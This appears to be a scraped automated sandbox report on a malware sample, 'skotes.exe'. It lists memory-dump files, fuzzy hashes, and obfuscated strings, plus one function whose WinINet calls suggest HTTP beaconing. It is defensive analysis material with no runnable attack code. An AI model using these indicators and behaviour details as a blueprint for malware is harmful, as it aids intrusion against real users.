Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 564ac6fd276f926be8fd1d84846b131a21ad2eefd818ed0f9f0cc76dc17fe3e8
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: BDB147329046859FDB31CF28C8C17BEBBF5EF55340F14816AD8A5EB242D6359E42CBA0

Function 00C32EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00C32F5F
__Mtx_unlock.LIBCPMT ref: 00C32FCC
__Mtx_unlock.LIBCPMT ref: 00C330F5
__Mtx_unlock.LIBCPMT ref: 00C3319B

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: bd3ad37f49579f1836a508220c6596cc80ecb6ae148db66cdb1ff69a976a92a3
Instruction ID: 2bf4a2203b5f01f9c2c3ffe8023bf94fcdf1cdff6103ef67341b809750408535
Opcode Fuzzy Hash: bd3ad37f49579f1836a508220c6596cc80ecb6ae148db66cdb1ff69a976a92a3
Instruction Fuzzy Hash: F7A1F271A11255AFDB24DFA4C8847AAB7B8FF15320F048139E826D7291EB75EB04CBD1

Analysis Process: skotes.exePID: 4336, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1024
Total number of Limit Nodes:	109

Executed Functions

Function 00C3E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WDw=, xrefs: 00C3F71D, 00C3F9FA
9c9aa5, xrefs: 00C3FB8E
UA==, xrefs: 00C3EB0F, 00C3ED56
WTs=, xrefs: 00C405CA
111, xrefs: 00C3F7A0
MQ==, xrefs: 00C3E592
MGE+, xrefs: 00C3E821
#, xrefs: 00C40624
WTw=, xrefs: 00C4097D
GnNoc2Hc, xrefs: 00C3E56C
246122658369, xrefs: 00C3F737, 00C3FA14, 00C405E7, 00C4099A

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 5ee28e09a73fd1dd8b1da09a7061f008eea781409883162d5f3fe522c3dae8c1
Instruction ID: 75cd5fc3c70d106f4f604947b3f5afcc4d60d07cfbc496b25f36f8c6d2fe85ba
Opcode Fuzzy Hash: 5ee28e09a73fd1dd8b1da09a7061f008eea781409883162d5f3fe522c3dae8c1
Instruction Fuzzy Hash: 4082F470914288DBEF14EF68C9497DE7FB1AB46308F508598E805273C2C7759A89DBD2

Function 00C3EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3EB51
CreateDirectoryA.KERNEL32(00000000), ref: 00C3EC83
GetFileAttributesA.KERNEL32(00000000), ref: 00C3ED98

Strings

UA==, xrefs: 00C3EC41, 00C3ED56, 00C3EF89, 00C3F2CE
invalid stoi argument, xrefs: 00C408B0
mxo1L0x, xrefs: 00C3EE84
GiQaT29tduF=, xrefs: 00C3FEB6
#, xrefs: 00C40624
stoi argument out of range, xrefs: 00C408C4
9c9aa5, xrefs: 00C3FB8E
WDw=, xrefs: 00C3F71D, 00C3F9FA, 00C3FDE3
WTs=, xrefs: 00C405CA
111, xrefs: 00C3F7A0
246122658369, xrefs: 00C3F737, 00C3FA14, 00C3FE00, 00C405E7
FisgLnsCZO1i, xrefs: 00C3FF19
FCQgKF==, xrefs: 00C3FEE4

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: c5e21b7f9de838da4168f3be28830b887044d338ea47d40b935c2cbb1c03caec
Instruction ID: 5db05fd874b4ed713d9814ba8d81df4b391b910dfd4b6de842eb3d231fbc911a
Opcode Fuzzy Hash: c5e21b7f9de838da4168f3be28830b887044d338ea47d40b935c2cbb1c03caec
Instruction Fuzzy Hash: 90F23971A101449BEF18EB38CD897DDBB72AF81304F20869CF449A73D6DB359E858B91

Function 00C3BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,C21C428B,?,00000000), ref: 00C3BEB8
InternetOpenW.WININET(00C88DC8,00000000,00000000,00000000,00000000), ref: 00C3BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00C3BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00C3BF36
HttpSendRequestA.WININET(?,00000000), ref: 00C3BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00C3C0A8
InternetCloseHandle.WININET(?), ref: 00C3C187
InternetCloseHandle.WININET(?), ref: 00C3C18F
InternetCloseHandle.WININET(?), ref: 00C3C197

Strings

RE1NXF==, xrefs: 00C3BF0E
8HJUeMD Lq5=, xrefs: 00C3C465
invalid stoi argument, xrefs: 00C3E4F4
8HJUeIfzLo==, xrefs: 00C3C3CB, 00C3C623
stoi argument out of range, xrefs: 00C3E4EA

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
